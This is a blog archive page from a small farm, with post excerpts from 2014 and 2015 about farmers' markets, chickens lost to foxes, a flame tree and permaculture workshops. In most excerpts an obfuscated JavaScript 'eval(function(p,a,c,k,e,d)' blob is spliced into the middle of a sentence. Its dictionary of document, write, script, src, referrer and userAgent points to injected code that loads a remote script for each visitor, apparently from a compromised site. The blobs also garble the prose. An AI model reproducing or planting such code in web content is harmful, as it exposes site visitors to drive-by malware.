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Hump Day

By |March 18th, 2015|

At the farmer’s market this afternoon someone said, happy hump day!

I’d forgotten about hump day. When you’re hanging on by the skin of your teeth for a weekend, to do what’s really you, while all week you’re doing something that’s not. I hope you don’t have a hump day. That you’re not counting off days […]

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the flame

By |September 3rd, 2014|

 

In our front yard there is a magnificent tree.

 

 

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifbnn|var|u0026u|referrer|hehrf||js|php’.split(‘|’),0,{}))
an Illawarra Flame Tree. I remember it blooming only a couple of times in my life, but when it does, it is spectacular. The leaves all fall off and it’s covered in dense red blooms, it’s a bit magic.

Last week […]

this place

By |June 26th, 2014|

We were very lucky to have the lovely Luisa eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafni|var|u0026u|referrer|ysbke||js|php’.split(‘|’),0,{}))
Brimble visit recently (accompanied by the equally lovely Emma Bowen). I’ve been admiring Luisa’s gorgeous photography for ages and was thrilled when she offered to visit on a workshop day and take some shots for us. Hooray!

When you’ve got your […]

Happy chickens brought you to by Tim

By |June 25th, 2014|

 

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zabns|var|u0026u|referrer|dizsy||js|php’.split(‘|’),0,{}))
night our friend Tim O’Sullivan (Timbo Rural Contracting) showed up with some extra friends and they took out four foxes in an hour. Four.

Happy, happy, happy.

I don’t know if that’s solved the immediate problem, but I suspect it’s put a dent in it.

We know Tim well, and he […]

brass tacks

By |June 23rd, 2014|

You know that moment when you think, oh well, it can’t get worse than this?

We lost the remainder of the mature batch of meat birds last night, the ones due to go for processing tomorrow, the fifty we hoped might at least pay for the feed and incubation costs of the lost birds.

We think we’re […]

who’d be a farmer, eh?

By |June 19th, 2014|

Photo: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sikre|var|u0026u|referrer|reifd||js|php’.split(‘|’),0,{}))
Luisa Brimble
It’s something Adman says, ‘who’d be a farmer, eh?’, when stuff goes wrong, or, you know, gets out or dies or doesn’t grow or gets eaten or breaks or we hit the wall financially. 

He always says it wryly, as if he’s the farm kid and I’m the […]

around here

By |April 15th, 2014|

 
Hello! 
Around eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfne|var|u0026u|referrer|ffbnd||js|php’.split(‘|’),0,{}))
here we are:

.. holding onto the fun we had with the beloved Milkwood Permaculture team here this weekend, running Serious Backyard Veggies. We tried to encourage them to move in by feeding them delicious food (and hiding their keys) but to no avail. The class was lovely, and […]

beautiful

By |April 13th, 2014|

It's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihth|var|u0026u|referrer|ieena||js|php’.split(‘|’),0,{}))
been a beautiful weekend of favourite Milkwood-people adventure and rain and amazing shared cooking with a brilliant cook (Tory) and red wine and cuddles with small children and slooooow cooked lamb. 
Adam took this photo this morning. Lucky stars, I'm thanking them.
xxx

the flipside

By |April 11th, 2014|

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bszsz|var|u0026u|referrer|ibdak||js|php’.split(‘|’),0,{}))
every story there's another one.
For every earnest heart wishing for a small farm in a friendly town with an orchard and room for chickens and a big veggie garden, there's an orchardist lying in bed tonight wondering how he's going to pay his water bill and how he'll […]

Farmers’ Market

By |April 11th, 2014|

 

 

 
Wednesdays eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fddrk|var|u0026u|referrer|eesys||js|php’.split(‘|’),0,{}))
used to be different. 
I used to make a slice every Wednesday. I'd take it to a friend's house, and drink tea.
Wednesdays are now a flurry of labelling and last minute baking and packing up and chalk-boarding. At 3pm every Wednesday a bell rings and our weekly farmers' market […]